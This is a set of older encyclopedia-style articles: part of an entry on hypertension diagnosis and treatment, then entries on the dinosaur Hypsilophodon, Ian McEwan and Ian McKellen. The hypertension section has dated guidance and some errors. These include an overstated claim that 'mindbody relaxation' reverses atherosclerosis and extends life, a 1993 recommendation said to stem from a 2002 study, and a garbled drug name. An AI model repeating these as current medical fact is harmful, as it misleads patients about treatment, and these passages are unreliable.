          Once the diagnosis of hypertension has been made it is important to attempt to exclude or identify reversible (secondary) causes.


          
            	Over 91% of adult hypertension has no clear cause and is therefore called essential/primary hypertension. Often, it is part of the metabolic "syndrome X" in patients with insulin resistance: it occurs in combination with diabetes mellitus (type 2), combined hyperlipidemia and central obesity.


            	Secondary hypertension is more common in preadolescent children, with most cases caused by renal disease. Primary or essential hypertension is more common in adolescents and has multiple risk factors, including obesity and a family history of hypertension.

          


          


          Investigations commonly performed in newly diagnosed hypertension


          Tests are undertaken to identify possible causes of secondary hypertension, and seek evidence for end-organ damage to the heart itself or the eyes (retina) and kidneys. Diabetes and raised cholesterol levels being additional risk factors for the development of cardiovascular disease are also tested for as they will also require management.


          Blood tests commonly performed include:


          
            	Creatinine ( renal function) - to identify both underlying renal disease as a cause of hypertension and conversely hypertension causing onset of kidney damage. Also a baseline for later monitoring the possible side-effects of certain antihypertensive drugs.


            	Electrolytes (sodium, potassium)


            	Glucose - to identify diabetes mellitus


            	Cholesterol

          


          Additional tests often include:


          
            	Testing of urine samples for proteinuria - again to pick up underlying kidney disease or evidence of hypertensive renal damage.


            	Electrocardiogram (EKG/ECG) - for evidence of the heart being under strain from working against a high blood pressure. Also may show resulting thickening of the heart muscle ( left ventricular hypertrophy) or of the occurrence of previous silent cardiac disease (either subtle electrical conduction disruption or even a myocardial infarction).


            	Chest X-ray - again for signs of cardiac enlargement or evidence of cardiac failure.

          


          


          Epidemiology


          The level of blood pressure regarded as deleterious has been revised down during years of epidemiological studies. A widely quoted and important series of such studies is the Framingham Heart Study carried out in an American town: Framingham, Massachusetts. The results from Framingham and of similar work in Busselton, Western Australia have been widely applied. To the extent that people are similar this seems reasonable, but there are known to be genetic variations in the most effective drugs for particular sub-populations. Recently (2004), the Framingham figures have been found to overestimate risks for the UK population considerably. The reasons are unclear. Nevertheless the Framingham work has been an important element of UK health policy.


          


          Treatment


          


          Lifestyle modification (nonpharmacologic treatment)


          
            	Weight reduction and regular aerobic exercise (e.g., jogging) are recommended as the first steps in treating mild to moderate hypertension. Regular mild exercise improves blood flow and helps to reduce resting heart rate and blood pressure. These steps are highly effective in reducing blood pressure, although drug therapy is still necessary for many patients with moderate or severe hypertension to bring their blood pressure down to a safe level.

          


          
            	Reducing Use of Sugar in diet

          


          
            	Reducing sodium (salt) in the diet is proven very effective: it decreases blood pressure in about 60% of people (see above). Many people choose to use a salt substitute to reduce their salt intake.

          


          
            	Additional dietary changes beneficial to reducing blood pressure includes the DASH diet (Dietary Approaches to Stop Hypertension), which is rich in fruits and vegetables and low fat or fat-free dairy foods. This diet is shown effective based on National Institutes of Health sponsored research. In addition, an increase in daily calcium intake has the benefit of increasing dietary potassium, which theoretically can offset the effect of sodium and act on the kidney to decrease blood pressure. This has also been shown to be highly effective in reducing blood pressure.

          


          
            	Discontinuing tobacco use and alcohol consumption has been shown to lower blood pressure. The exact mechanisms are not fully understood, but blood pressure (especially systolic) always transiently increases following alcohol and/or nicotine consumption. Besides, abstention from cigarette smoking is important for people with hypertension because it reduces the risk of many dangerous outcomes of hypertension, such as stroke and heart attack. Note that coffee drinking (caffeine ingestion) also increases blood pressure transiently, but does not produce chronic hypertension.

          


          
            	Relaxation therapy, such as meditation, that reduces environmental stress, reducing high sound levels and over-illumination can be an additional method of ameliorating hypertension. Jacobson's Progressive Muscle Relaxation and biofeedback are also used , particularly, device-guided paced breathing , although meta-analysis suggests it is not effective unless combined with other relaxation techniques.

          


          
            	Mindbody Relaxation has been proven to have long-lasting benefits in reducing hypertension. Mindbody relaxation reduces the risk of fatal heart attacks by up to 30%, and also reverses hardening of the arteries or atherosclerosis. In fact mindbody relaxation has been proven to increase life expectancy.

          


          


          Medications


          Unless hypertension is severe, lifestyle changes such as those discussed in the preceding section are strongly recommended before initiation of drug therapy. Adoption of the DASH diet is one example of lifestyle change repeatedly shown to effectively lower mildly-elevated blood pressure. If hypertension is high enough to justify immediate use of medications, lifestyle changes are initiated concomitantly.


          There are many classes of medications for treating hypertension, together called antihypertensives, which  by varying means  act by lowering blood pressure. Evidence suggests that reduction of the blood pressure by 5-6 mmHg can decrease the risk of stroke by 40%, of coronary heart disease by 15-20%, and reduces the likelihood of dementia, heart failure, and mortality from vascular disease.


          The aim of treatment should be blood pressure control to <140/90 mmHg for most patients, and lower in certain contexts such as diabetes or kidney disease (some medical professionals recommend keeping levels below 120/80 mmHg). Each added drug may reduce the systolic blood pressure by 5-10 mmHg, so often multiple drugs are necessary to achieve blood pressure control.


          Commonly used drugs include:


          
            	ACE inhibitors such as creatine captopril, enalapril, fosinopril (Monopril), lisinopril (Zestril), quinapril, ramipril (Altace)


            	Angiotensin II receptor antagonists: eg, telmisartan (Micardis, Pritor), irbesartan (Avapro), losartan (Cozaar), valsartan (Diovan), candesartan (Amias)


            	Alpha blockers such as prazosin, or terazosin. Doxazosin has been shown to increase risk of heart failure, and to be less effective than a simple diuretic, so is not recommended.


            	Beta blockers such as atenolol, labetalol, metoprolol (Lopressor, Toprol-XL), propranolol.


            	Calcium channel blockers such as nifedipine (Adalat) amlodipine (Norvasc), diltiazem, verapamil


            	Direct renin inhibitors such as aliskiren (Tekturna)


            	Diuretics: eg, bendroflumethiazide, chlortalidone, hydrochlorothiazide (also called HCTZ)


            	Combination products (which usually contain HCTZ and one other drug)

          


          


          Choice of initial medication


          Unless the blood pressure is severely elevated, consensus guidelines call for medically-supervised lifestyle changes and observation before recommending initiation of drug therapy. All drug treatments have side effects, and while the evidence of benefit at higher blood pressures is overwhelming, drug trials to lower moderately-elevated blood pressure have failed to reduce overall death rates.


          If lifestyle changes are ineffective or the presenting blood pressure is critical, then drug therapy is initiated, often requiring more than one agent to effective lower hypertension. Which type of many medications should be used initially for hypertension has been the subject of several large studies and various national guidelines.


          The ALLHAT study showed better cost-effectiveness and slightly better outcomes for the thiazide diuretic chlortalidone compared with a calcium channel blocker and an ACE inhibitor in a 33,357-member ethnically mixed study group. The 1993 consensus recommendation for use of thiazide diuretics as initial treatment stems in part from the ALLHAT study results, which concluded in 2002 that "Thiazide-type diuretics are superior in preventing 1 or more major forms of CVD and are less expensive. They should be preferred for first-step antihypertensive therapy."


          A subsequent smaller study (ANBP2) did not show the slight advantages in thiazide diuretic outcomes observed in the ALLHAT study, and actually showed slightly better outcomes for ACE-inhibitors in older white male patients.


          Thiazide diuretics are effective, recommended as the best first-line drug for hypertension by many experts, and much more affordable than other therapies, yet they are not prescribed as often as some newer drugs. Arguably, this is partly because they are off-patent, less profitable, and thus rarely promoted by the drug industry.


          The consensus recommendations of thiazide diuretics as first-line therapy for hypertension stand against a the backdrop that all blood pressure treatments have side-effects. Potentially serious side effects of the thiazide diuretics include hypercholesterinemia, and impaired glucose tolerance with consequent increased risk of developing Diabetes mellitus type 2. The thiazide diuretics also deplete circulating potassium unless combined with a potassium-sparing diuretic or supplemental potassium. On this basis, the consensus recommendations to prefer use of thiazides as first line treatment for essential hypertension have been repeatedly and strongly questioned. However as the Merck Manual of Geriatrics notes, "thiazide-type diuretics are especially safe and effective in the elderly."


          


          Advice in the United Kingdom


          The risk of beta-blockers provoking type 2 diabetes led to their downgrading to fourth-line therapy in the United Kingdom in June 2006, in the revised national guidelines.


          


          Advice in the United States


          The Seventh Report of the Joint National Committee on Prevention, Detection, Evaluation, and Treatment of High Blood Pressure (JNC 7) in the United States recommends starting with a thiazide diuretic if single therapy is being initiated and another medication is not indicated.


          


          Chiropractic


          Chiropractic manipulation of the cervical spine in the neck is used by some as a treatment for hypertension, as part of overall care and advice given by modern chiropracters. However, manipulation of the cervical spine has repeatedly been shown to have a risk of stroke.


          Studies have shown mixed outcomes as to whether the technique works, or not. One study found sustained improvement compared to brief massage, but similar to just resting for 5 minutes alone in a room. A more recent study showed a significant lowering of blood pressure in hypertensive patients after only one chiropractic adjustment of the atlas vertebra. The decrease in blood pressure was found immediately following the adjustment as well as a full eight weeks following the adjustment. Blood pressure in the group receiving chiropractic was lowered by an average of 17mmHg BP systolic and 10mmHg diastolic BP.


          


          Systolic hypertension
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              Fossil range: Early Cretaceous
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                  Hypsilophodon skeleton at Oxford University Museum of Natural History.
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Sauropsida

                  


                  
                    	Superorder:

                    	Dinosauria

                  


                  
                    	Order:

                    	Ornithischia

                  


                  
                    	Suborder:

                    	Cerapoda

                  


                  
                    	Infraorder:

                    	Ornithopoda

                  


                  
                    	Family:

                    	Hypsilophodontidae

                  


                  
                    	Genus:

                    	Hypsilophodon

                  

                

              
            


            
              	Binomial name
            


            
              	Hypsilophodon foxii

              Huxley, 1869
            

          


          Hypsilophodon (pronounced /ˌhɪpsɨˈlɒfoʊdɒn/; meaning 'high-crested tooth') is an ornithopod dinosaur genus from the Early Cretaceous Period of Europe. It was a small bipedal animal with an herbivorous or possibly omnivorous diet. Abundant fossil remains found in England indicate that Hypsilophodon reached about 2 meters (6.5 feet) in length.


          


          Discoveries and species
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              reconstruction of Hypsilophodon foxii
            

          


          The first remains of Hypsilophodon were recovered in the early days of paleontology in 1849. However, at the time, the bones were thought to belong to a young Iguanodon. It was not until 1870 that paleontologist T. H. Huxley was able to publish a full description of Hypsilophodon as we know it today. He had been provided with a number of skeletons by the Reverend William Darwin Fox, after whom the first species of Hypsilophodon was named.


          Early paleontologists modeled the body of this small, bipedal, herbivorous dinosaur in various ways. In 1882 some paleontologists suggested that, like a modern tree-kangaroo, Hypsilophodon was able to climb trees in order to seek shelter. This was the accepted view for almost a century. However, Peter M. Galton finally performed more accurate analysis of the musculo-skeletal structure in 1974 and convinced most paleontologists that Hypsilophodon remained firmly on the ground.


          Since then, three near-complete and over twenty minor finds have been made, especially on the Isle of Wight, off the south coast of England. Other finds have been made in southern England, Portugal and South Dakota, USA.


          There is only one known species of Hypsilophodon, Huxley's original H. foxii. Galton and Jensen named another species, H. wielandi in 1979, but it now seems likely this was just a variant individual within H. foxii.


          


          Paleobiology
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              Mounted cast, Melbourne Museum.
            

          


          Hypsilophodon was a relatively small dinosaur. While not quite so small as, for example, Compsognathus, Hypsilophodon was only around 2.3 metres in length. It would have reached approximately waist-height on a modern man and would have weighed about the same, at 50-70 kg.


          Like most small dinosaurs, Hypsilophodon was bipedal and ran on two legs. Its entire body was built for running; a light-weight, minimized skeleton, low, aerodynamic posture, long legs and stiff tail for balance all would have allowed it to travel remarkably fast for its size.


          Due to its small size, Hypsilophodon fed on low-growing vegetation, most likely preferring young shoots and roots in the manner of modern deer. The structure of its skull, with the teeth set far back into the jaw, strongly suggests that it had cheeks, an advanced feature that would have facilitated the chewing of food. There were twenty-eight to thirty ridged teeth in the animal's jaw which, due to their alternate arrangement, appear to have been self-sharpening. As in almost all dinosaurs and certainly all the ornithischians, the teeth were continuously replaced.


          The level of parental care in this dinosaur has not been defined, although a neatly-arranged nest has been found, suggesting that some care was taken before hatching. Fossils of large groups have been found, so it is likely that the animals moved in herds. For these reasons, the hypsilophodonts, particularly Hypsilophodon, have often been referred to as the "deer of the Mesozoic".


          Despite living in the last of the periods in which dinosaurs walked the earth, the Cretaceous, Hypsilophodon had a number of primitive features. For example, there were five digits on each 'hand' and four on each foot. Most dinosaurs had lost these redundant features by the Cretaceous period. Also, although it had a beak like most ornithischians, Hypsilophodon still had pointed triangular teeth in the front of the jaw. Most herbivorous dinosaurs had, by this stage, become sufficiently specialized that the front teeth had been altogether lost (although there is some debate as to whether these teeth may have had a specialized function in Hypsilophodon).


          The group Hypsilophodontia remained remarkably static from the late Jurassic to the end of the Cretaceous. It is possible that this was because the animals were almost perfectly adapted to their lifestyle, therefore selective pressure, it is assumed, was low.
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              	Author, screenwriter
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          Ian McEwan ( IPA: /ˈiːən mɪˈkjuən/) CBE (born June 21, 1948) is a Booker Prize winning English novelist.


          


          Biography


          McEwan was born in Aldershot in England and spent much of his childhood in East Asia, Germany and North Africa, where his Scottish army officer father, David McEwan was posted. He was educated at Woolverstone Hall School, the University of Sussex and the University of East Anglia, where he was the first graduate of Malcolm Bradbury's pioneering creative writing course.


          He has been married twice. His second wife, Annalena McAfee, was formerly the editor of The Guardian's Review section. In 1999, his first wife, Penny Allen, absconded with McEwan's 13-year-old son after a court in Brittany, France, ruled that the boy should be returned to his father, who had been granted sole custody over him and his 15-year-old brother.


          In March and April 2004, just months after the British government invited him to dinner with American First Lady Laura Bush, McEwan was denied entry into the United States by the Department of Homeland Security for not having the proper visa. After several days' publicity in the British press, McEwan was admitted because, as he quoted a customs official telling him, "We still don't want to let you in, but this is attracting a lot of unfavourable publicity." The US government later sent a letter of apology.


          McEwan is a Fellow of the Royal Society of Literature, a Fellow of the Royal Society of Arts, and a Fellow of the American Academy of Arts and Sciences. He was awarded the Shakespeare Prize by the Alfred Toepfer Foundation, Hamburg, in 1999. Ian McEwan is also a Distinguished Supporter of the British Humanist Association. He was awarded a CBE in 2000.


          In 2002, Ian McEwan discovered that he had a brother who had been given up for adoption during World War II - the story became public in 2007. The brother, a bricklayer named David Sharpe, was born six years earlier than McEwan, when his mother was married to a different man. Sharpe has the same two parents as McEwan but was born from an affair between McEwan's parents that occurred before their marriage. After her first husband was killed in combat, McEwan's mother married her lover, and Ian was born a few years later.


          


          Works


          His first published work was a collection of short stories, First Love, Last Rites (1975), which won the Somerset Maugham Award in 1976. The Cement Garden (1978) and The Comfort of Strangers (1981) were his two earliest novels. The nature of these works caused him to be nicknamed "Ian Macabre" . These were followed by three novels of some success in the 1980s and early 1990s.


          His 1997 novel, Enduring Love, about a person with de Clerambault's syndrome, is regarded by many as a masterpiece, though it was not shortlisted for the Booker Prize. In 1998, he was awarded the Booker Prize for his novel Amsterdam. His next novel, Atonement, received considerable high acclaim; Time Magazine named it the best novel of 2002, and it was shortlisted for the Booker Prize. His next work, Saturday, follows an especially eventful day in the life of a successful neurosurgeon. Henry Perowne, the main character, lives in a house on a well known square in central London, where McEwan now lives after having relocated from Oxford. Saturday won the James Tait Black Memorial Prize for 2005. His most recent novel, On Chesil Beach, was shortlisted for the 2007 Booker Prize.


          McEwan has also written a number of produced screenplays, a stage play, children's fiction, and an oratorio.


          As of August 2007 McEwan is writing the libretto to an opera called "For You", which tells the story of a composer whose sexual and professional prowess have passed their peak. It is being composed by Michael Berkeley and is set to be performed in 2008.


          


          Controversy


          In late 2006, Lucilla Andrews' autobiography No Time for Romance became the focus of a posthumous controversy when it was alleged that McEwan plagiarized from this work while writing his highly acclaimed novel Atonement. McEwan publicly protested for his innocence; in The Guardian newspaper, he responded to the claim, stating he had acknowledged Andrews' work in the author's note at the end of Atonement. McEwan has been defended by many leading writers, including the American novelist Thomas Pynchon. Comments had also been made about the questionable originality of his first novel, The Cement Garden, and the writer Claire Henderson-Davis suggested to McEwan that his book On Chesil Beach had been inspired by the name of her mother, and the life stories of her parents. Once again, McEwan denied this claim.


          


          In Popular Culture


          
            	In Nigel Williams' 1990 novel The Wimbledon Poisoner the main protagonist Henry Farr's wife tells her husband that "Ian Mcewan had 'a great deal to say' to Henry Farr" to which Henry's response is that he has a great deal to say to Ian McEwan as well.
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              	Sir Ian McKellen
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              Ian McKellen at the premiere of The Return of the King in Wellington, New Zealand, December 1, 2003.
            


            
              	Born

              	25 May 1939 (1939-05-25)

              Burnley, Lancashire, England
            


            
              	Years active

              	1965 - present
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                    	Awards won
                  


                  
                    	Golden Globe Awards
                  


                  
                    	Best Supporting Actor - Series, Miniseries or TV Movie

                    1997 Rasputin
                  


                  
                    	Laurence Olivier Awards
                  


                  
                    	Best Actor

                    1991 Richard III
                  


                  
                    	Screen Actors Guild Awards
                  


                  
                    	Outstanding Supporting Actor - Motion Picture

                    2001 The Lord of the Rings: The Fellowship of the Ring

                    Outstanding Cast - Motion Picture

                    2003 The Lord of the Rings: The Return of the King
                  


                  
                    	Tony Awards
                  


                  
                    	Best Leading Actor in a Play

                    1981 Amadeus
                  


                  
                    	Other Awards
                  


                  
                    	NBR Award for Best Actor

                    1998 Gods and Monsters

                    NBR Award for Best Cast

                    2003 The Lord of the Rings: The Return of the King

                    Saturn Award for Best Supporting Actor (film)

                    1998 Apt Pupil

                    2001 The Lord of the Rings: The Fellowship of the Ring

                    Honorary Golden Berlin Bear

                    2006 Lifetime Achievement
                  

                

              
            

          


          Sir Ian Murray McKellen, CH, CBE (born 25 May 1939) is a British stage and screen actor, the recipient of the Tony Award and two Oscar nominations. McKellen is best known to moviegoers in recent years for his roles as Gandalf in the Lord of the Rings film trilogy and as Magneto in the X-Men trilogy. His work has spanned genres from serious Shakespearean and modern theatre to popular fantasy and science fiction. He was made a Commander of the Order of the British Empire (CBE) in 1979, and knighted in the 1991 New Year Honours for his outstanding work and contributions to the theatre. In the 2008 New Year Honours he was made a Companion of Honour (CH) for services to Drama and to Equality.


          In 1988, McKellen came out as gay and became a founding member of Stonewall, one of the United Kingdom's most influential LGBT rights groups, of which he remains a prominent spokesman.


          


          Biography


          


          Early life


          McKellen was born in Burnley, Lancashire, England, though spent most of his early life in Wigan and later attended Bolton School. Born shortly before the outbreak of World War II, the experience had some lasting impact on him. In an interview with The Advocate magazine ( December 25, 2001), when an interviewer remarked that he seemed quite calm in the aftermath of the September 11 terrorist attack, he said: "Well, darling, you forget  I slept under a steel plate until I was four years old."


          McKellen's father, Denis Murray McKellen, a civil engineer, was a lay preacher, and both of his grandfathers were preachers as well. At the time of Ian's birth, his parents already had a five-year-old daughter Jean. His home environment was strongly Christian, but non-orthodox. "My upbringing was of low nonconformist Christians who felt that you led the Christian life in part by behaving in a Christian manner to everybody you met." When he was 12, his mother, Margery Lois ( ne Sutcliffe) died; his father died when he was 24. When he came out of the closet to his stepmother, Gladys McKellen, who was a Friend (Quaker): "Not only was she not fazed, but as a member of a society which declared its indifference to people's sexuality years back, I think she was just glad for my sake that I wasn't lying any more."


          McKellen attended Bolton School (boys division), of which he is still a supporter, attending regularly to talk to pupils. McKellen's acting career started at Bolton Little Theatre, of which he is now the Patron. An early fascination with theatre was encouraged by his parents, who took him on a family outing to Peter Pan at the Manchester Opera House when he was three. When he was nine, his main Christmas present was a wood and bakelite, fold-away Victorian Theatre from Pollocks Toy Theatres, with cardboard scenery and wires to push on the cut-outs of Cinderella and of Olivier's Hamlet. His sister took him to his first Shakespeare play, Twelfth Night, by the amateurs of Wigan's Little Theatre, shortly followed by their Macbeth and Wigan High School for Girls' production of A Midsummer Night's Dream with music by Mendelssohn and with the role of Bottom played by Jean McKellen. (Until her recent death, Jean still acted, directed, and produced amateur theatre.)


          He won a scholarship to St. Catharine's College, University of Cambridge, when he was eighteen, where he developed an attraction to Derek Jacobi. He has characterized it as "a passion that was undeclared and unrequited". He and his first serious partner, Brian Taylor, a history teacher from Bolton, began their relationship in 1964. It was a relationship that was to last for eight years, ending in 1972. They lived in London, where McKellen continued to pursue his career as an actor. For over a decade he has lived in a five-story Victorian conversion in Narrow Street, Limehouse, London. In 1978 he met his second partner, Sean Mathias, at the Edinburgh Festival. According to Mathias, the ten-year love affair was tempestuous, with conflicts over McKellen's success in acting versus Mathias' somewhat less-successful career.


          20 years ago McKellen lost his appetite for meat except for fish and became a pescetarian.


          


          Theatrical career
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              Sir Ian McKellen takes a day out at Universal Studios, Hollywood, April 2000. Photo by Keith Stern.
            

          


          McKellen made his stage dbut in Coventry in 1961 and his West End dbut in 1964. His first film role  in the unfinished The Bells of Hell Go Ting-A-Ling-A-Ling (1966)  produced a 4000 fee that helped fund his repertory work for a time, but the experience contributed to a focus on the stage, which remained the medium he was best known for well into the fourth decade of his career.


          The role that made McKellen famous was his 1969 portrayal of King Edward II of England in the Prospect Theatre Company's touring production of Marlowe's Edward II. The production was controversial for its explicit torture scenes and implicit homosexuality. He later reprised the role for the BBC. In 1972, he founded the Actors' Company with his friend Edward Petherbridge, and this was the beginning of his reputation as a spokesman for actors and the British theatre in general. Between 1974 and 1978, he played leading roles in Royal Shakespeare Company productions such as Romeo and Juliet (in which he played opposite Francesca Annis); a legendary production of Macbeth (opposite Judi Dench); and Trevor Nunn's 1977 production of The Alchemist by Ben Jonson, in which he played Face.


          McKellen starred on Broadway in Bent, a play about gay men in Nazi death camps, starting in 1979. Despite his role in the play, which brought to public view for the first time in a widespread way the persecution of gays in Nazi Germany, McKellen was not yet out publicly. At first, he was unsure whether he dared to take the role. "As impressed as I was by it, I thought 'My God! Do I dare be in this?' And [then-boyfriend] Sean read it and replied, 'Well you have to do it'." Since starring in the original Broadway production of Bent, he has been involved in two other productions of the play. In 1990, he starred in the revival at the National Theatre in London directed by Mathias, and also made a supporting appearance in the movie version, also directed by Mathias, which was released in 1997.
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              Poster for McKellen's 2007 performance of King Lear with the Royal Shakespeare Company
            

          


          McKellen won more and more parts, until eventually in 1980 he won the role of Salieri in the Broadway production of Amadeus. He was awarded the Tony Award for his performance, an honour he was also nominated for in 1984 for his one-man Shakespeare recital Acting Shakespeare. His appearance as Walter, a mentally-handicapped adult adjusting to life on his own after the death of his mother, in a 1982 television play shown on the first night of Channel 4's broadcasting, won him a new following; but he was still a relative unknown to much of the U.S. public. In 1994 McKellen put together a one-man show, A Knight Out. The show was very successful, and he still performs it today, considering it a perpetual "work in progress". He is a benefactor of the Rose Theatre in London and in January 2006 unveiled a blue plaque on the outside of the building.


          In 2007, he returned to the Royal Shakespeare Company, appearing in Trevor Nunn's productions of The Seagull (sharing the role of Sorin with William Gaunt) and in the title role of King Lear, to great acclaim. Germaine Greer, a Shakespeare scholar, famously commented on the disrobing scene which featured McKellen's "impressive genitalia" but critically panned the production, lamenting of McKellen's portrayal that "such virtuosic caricature makes sympathy impossible." But most of McKellen's notices were raves, with critic Ian Shuttleworth writing "Every moment is beautifully pitched, from the initial 'division of the kingdom' speech which he reads off cue cards to his final expiration, almost inadvertently, between phrases of grief for the dead Cordelia. This is not a Lear who blows and cracks his cheeks to vie with the storm on the heath; he feels his control slipping little by little, until he is utterly distracted but never raging or raving." The production of King Lear also featured appearances by Sylvester McCoy and Jonathan Hyde.


          


          Popular success


          McKellen had taken film roles throughout his career - beginning in 1969 with A Touch of Love, excluding the unreleased The Bells of Hell Go Ting-A-Ling-A-Ling (1966) but it was not until the 1990s that he became more widely recognised in this medium, through several roles in blockbuster Hollywood movies.


          In 1993, McKellen had a supporting role as a South African tycoon in the sleeper hit Six Degrees of Separation, in which he starred with Stockard Channing, Donald Sutherland, and Will Smith. In the same year, he was also exposed to North American audiences in minor roles in the television miniseries Tales of the City (based on the novel by his friend Armistead Maupin) and the movie Last Action Hero, in which he played Death. Also in 1993, McKellen played a large role in the TV movie And the Band Played On, about the discovery of the AIDS virus.


          In 1995, he played the title role in Richard III, a film he also co-wrote (adapting the play for the screen based on a stage production of Shakespeare's play directed by Richard Eyre for the Royal National Theatre) and co-produced. In McKellen's role as executive producer he returned his 50,000 fee in order to complete the filming of the final battle. His performance in the title role was critically acclaimed, and he was nominated for Golden Globe and BAFTA awards, and won the European Film Award for best actor.


          His breakthrough role for mainstream American audiences came with the modestly acclaimed Apt Pupil, based on a story by Stephen King. McKellen portrayed an old Nazi officer, living under a false name in the U.S., who was befriended by a curious teenager ( Brad Renfro) who threatened to expose him unless he told his story in detail. His casting was based partly on his performance in Cold Comfort Farm, seen by Apt Pupil-director Bryan Singer despite the BBFC's refusal to release it in cinemas. He was subsequently nominated for the Academy Award for Best Actor for his role in the 1998 film Gods and Monsters, where he played James Whale, the gay director of Show Boat (1936) and Frankenstein.


          


          McKellen has become a major global star by playing leading roles in blockbuster films. He reteamed with Apt Pupil director Bryan Singer to play the comic book character Magneto in X-Men and its sequels X2: X-Men United and X-Men: The Last Stand. It was while filming X-Men that he was cast as Gandalf in Peter Jackson's three-film adaptation of The Lord of the Rings (consisting of The Fellowship of the Ring, The Two Towers, and The Return of the King). McKellen received honours from the Screen Actors Guild for Best Supporting Actor in a Motion Picture for his work in The Fellowship of the Ring and was also nominated for the Academy Award for Best Supporting Actor for the same role.


          On 16 March 2002, he was the host on Saturday Night Live. In 2003, McKellen made a guest appearance as himself on the American cartoon show The Simpsons, in a special British-themed episode entitled " The Regina Monologues", along with Tony Blair and J. K. Rowling. In April and May 2005, he played the role of Mel Hutchwright in Granada Television's long running soap opera, Coronation Street, fulfilling a lifelong ambition. He is also known for his voicework, having narrated Richard Bell's Eighteen, as a grandfather who leaves his WWII memoirs on audiocassette for his teenage grandson.


          McKellen has also appeared in limited release films, such as Emile (which was shot in a few days during the X2 shoot), Neverwas and Asylum. He appeared as Sir Leigh Teabing in The Da Vinci Code. During a 17 May 2006 interview on The Today Show with the Da Vinci Code cast and director, Matt Lauer posed a question to the group about how they would have felt if the film had borne a prominent disclaimer that it is a work of fiction, as some religious groups wanted. McKellen responded, "I've often thought the Bible should have a disclaimer in the front saying 'This is fiction.' I mean, walking on water? It takes... an act of faith. And I have faith in this movie  not that it's true, not that it's factual, but that it's a jolly good story." He continued, "And I think audiences are clever enough and bright enough to separate out fact and fiction, and discuss the thing when they've seen it". McKellen also appeared in the 2006 series of Ricky Gervais' comedy series Extras, where he played himself directing Gervais' character Andy Millman in a play about gay lovers. McKellen received a 2007 Emmy nomination for his performance.


          


          LGBT rights campaigning


          


          While McKellen had made his sexuality known to his fellow actors early on in his stage career, it was not until 1988 that he came out to the general public, in a programme on BBC Radio 3. The context that prompted McKellen's decision  overriding concerns about a possible negative effect on his career  was that the controversial amendment known popularly as " Section 28" (see below) was under consideration in the United Kingdom Parliament. By this time, McKellen's ten-year relationship with Mathias had ended, removing the additional concern of what effect his coming out would have on his partner's career. McKellen has stated that he was also influenced in his decision by the advice and support of his friends, among them noted gay author Armistead Maupin.


          In 2003, during an appearance on Have I Got News For You, McKellen claimed that when he visited Michael Howard, the Conservative Environment Secretary (the Environment Secretary had the brief for local government at the time), in 1988 to lobby against Section 28, Howard refused to change his position but did ask him to leave an autograph for his children. McKellen agreed, but wrote "Fuck off, I'm gay."


          The amendment in question, Section 28 of the Local Government Bill, proposed to prohibit local authorities from "promoting homosexuality" 'as a kind of pretended family relationship'. The drafting was open to several interpretations and the actual impact of the amendment was uncertain. McKellen became active in fighting the proposed law, and declared himself gay on a BBC Radio programme where he debated the subject of Section 28 with the conservative journalist Peregrine Worsthorne. He has said of this period: "My own participating in that campaign was a focus for people [to] take comfort that if Ian McKellen was on board for this, perhaps it would be all right for other people to be as well, gay and straight". Section 28 was, however, enacted and remained on the statute books until 2003. In the intervening period McKellen continued to fight for its repeal and criticised British Prime Minister Tony Blair for failing to concern himself with the issue.


          McKellen has continued to be very active in LGBT rights efforts. He is a co-founder of Stonewall, a LGBT rights lobby group in the United Kingdom, named after the Stonewall riots. McKellen is also Patron of LGBT History Month, GAY-GLOS and The Lesbian & Gay Foundation.


          In 1994, at the closing ceremony of the Gay Games, he briefly took the stage to address the crowd, saying, "I'm Sir Ian McKellen, but you can call me Serena." (This nickname, originally given to him by Stephen Fry, had been circulating within the gay community since McKellen's knighthood was conferred.) In 2002, he attended the Academy Awards with his then-boyfriend, New Zealander Nick Cuthell - possibly a first for a major nominee since Nigel Hawthorne, the first openly gay performer to be nominated for an Academy Award, who attended the ceremonies with his partner, Trevor Bentham, in 1995.


          In 2006, McKellen spoke at the pre-launch of the 2007 LGBT History Month in the UK, lending his support to the organisation and its founder, Sue Sanders, a personal friend. (A video of his speech is available in the external links below.) On 5 January, 2007, McKellen became a patron of The Albert Kennedy Trust, an organisation that provides support to young, homeless and troubled gay, lesbian and transgender people.


          In 2006, Sir Ian became a Patron of Oxford Pride. At the time he said;


          
            
              	

              	I have been to many Pride occasions across the World, from being Grand Marshall in San Francisco to the first ever gay march in Johannesburg in post-apartheid South Africa. Wherever gay people gather publicly to celebrate their sense of community, there are two important results. First, onlookers can be impressed by our confidence and determination to be ourselves and, second, gay people, of whatever age, can be comforted by the occasion to take first steps towards coming out and leaving the closet forever behind. I send my love to all member of Oxford Pride, their sponsors and supporters, of which I am proud to be one.

              	
            

          


          


          Awards


          
            	1981: New York Tony Award for Best Actor in a Play, for Amadeus


            	1983: London Olivier Award for Best Actor in a Revival, for Wild Honey


            	1984: London Evening Standard Award for Best Actor, for Coriolanus


            	1989: London Evening Standard Award for Best Actor, for Othello


            	1990: London Olivier Award for Best Actor, for Richard III


            	1996: European Film Award for Best Actor, for Richard III


            	1997: Golden Globe Award for Best Supporting Actor in a Series, Mini-Series or TV Movie, for Rasputin


            	1998: Back Stage West Garland Awards, for his one-man show A Knight Out in Los Angeles


            	1998: National Board of Review for Best Actor, for Gods and Monsters


            	1999: Independent Spirit Award for Best Actor, for Gods and Monsters


            	2001: Screen Actors Guild Award for Best Supporting Actor, for The Lord of the Rings: The Fellowship of the Ring


            	2004: Manila, Philippines Pride International Film Festival's Lifetime Achievement & Distinction Award


            	2007: Annie Award for Best Voice Acting in an Animated Feature Production, for Flushed Away


            	In May 2007, he was named by the Independent on Sunday Pink List of the fifth most influential gay person in Britain, down from the 1st place the previous year.

          


          


          Selected stage and screen credits


          


          Theatre


          
            	Much Ado About Nothing, Royal National Theatre, Old Vic, London, 1965


            	Trelawney of the "Wells", National Theatre, London & Chichester Festival, 1965


            	The Promise, West End; Broadway, 1967


            	Edward II (in title role), Edinburgh Festival & West End, 1969


            	Hamlet (title role), UK/European Tour, 1971


            	'Tis Pity She's a Whore, UK Tour, 1972


            	Dr Faustus (title role), Royal Shakespeare Company, Edinburgh Festival & Aldwych Theatre (London), 1974


            	King John, RSC, 1975


            	Romeo and Juliet (as Romeo), RSC, Stratford-upon-Avon & London, 1976


            	The Winter's Tale, RSC, Stratford-upon-Avon, 1976


            	Macbeth (title role), RSC, Stratford-upon-Avon & Young Vic (London), 19761977


            	The Alchemist, RSC, Stratford-upon-Avon & London, 1977


